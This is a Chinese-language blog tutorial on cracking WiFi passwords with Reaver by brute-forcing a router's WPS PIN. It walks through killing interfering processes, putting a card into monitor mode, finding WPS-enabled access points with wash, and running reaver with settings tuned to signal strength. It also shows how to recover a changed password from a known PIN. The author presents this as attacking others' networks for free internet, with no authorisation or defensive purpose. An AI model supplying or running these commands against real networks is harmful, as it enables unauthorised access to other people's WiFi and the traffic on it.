免费翻墙,编程,制图,办公软件等等的资源分享iOS学习hack

Reaver破解wifi

2016-06-01  本文已影响3971人  shenyifu

前言

前段时间写了一篇如何用airceack-ng获取握手包从而破解wifi密码的文章。一般来说只要有耐心,都能截获握手包。但获取密码的最后一步跑cap包十分耗时,而且如果字典不够大,经常跑不出来。而且一旦wifi管理员更改密码,又要重新来一遍。今天介绍的方法依旧非常耗时,但是好在一定能获得密码,并且wifi管理员更改密码,很快可以重新获得更改后的密码。

背景

让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置(WiFi Protected Setup - 下文中简称为WPS)的一个弱点,WPS是许多路由器上都有的一个功能,可以为用户提供简单的配置过程,它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷,最终的结果就是,只要有足够的时间,它就能破解WPA或WPA2的密码。当然,很多路由器支持PIN码的修改,但是绝大多数人并不会这么做。

过程

关闭进程

部分进程可能影响到后续的操作。

airmon-ng check kill

开启网卡

airmon-ng start wlan1

查看ap信号强度

破解的wifi当然要选信号强的,这样的wifi破解速度更快,用起来也更好。

airodump-ng wlan1mon
1.png

查看支持wps的ap

wash -i wlan1mon -C
2.png

reaver

应因状况调整参数:MAC即BSSID的值,-c后面的数字是CH的值。

目标信号非常好:

reaver -i wlan1mon -b MAC -a -S -vv -d0 -c 1

目标信号普通:

reaver -i wlan1mon -b MAC -a -S -vv -d2 -t 5 -c 1

目标信号一般:

reaver -i wlan1mon -b MAC -a -S -vv -d5 -c 1
3.png

然后就是长时间的等待。像图中这种每十次就要等待60s,等待的时间长一点,但是一定能得到结果。像这个wifi我破解了三个晚上。白天该干啥干啥,晚上睡前攻击wifi。而且reaver可以随时停止,它自己会保存进度。

4.png

最终你就能得到wifi的PIN码以及密码。把这两个记下来,一般来说wifi主人过段时间就会更改密码但不会更改PIN码,这时我们只要加上 -p 命令,WiFi密码秒出。
愉快的享受wifi吧!

上一篇下一篇

猜你喜欢

热点阅读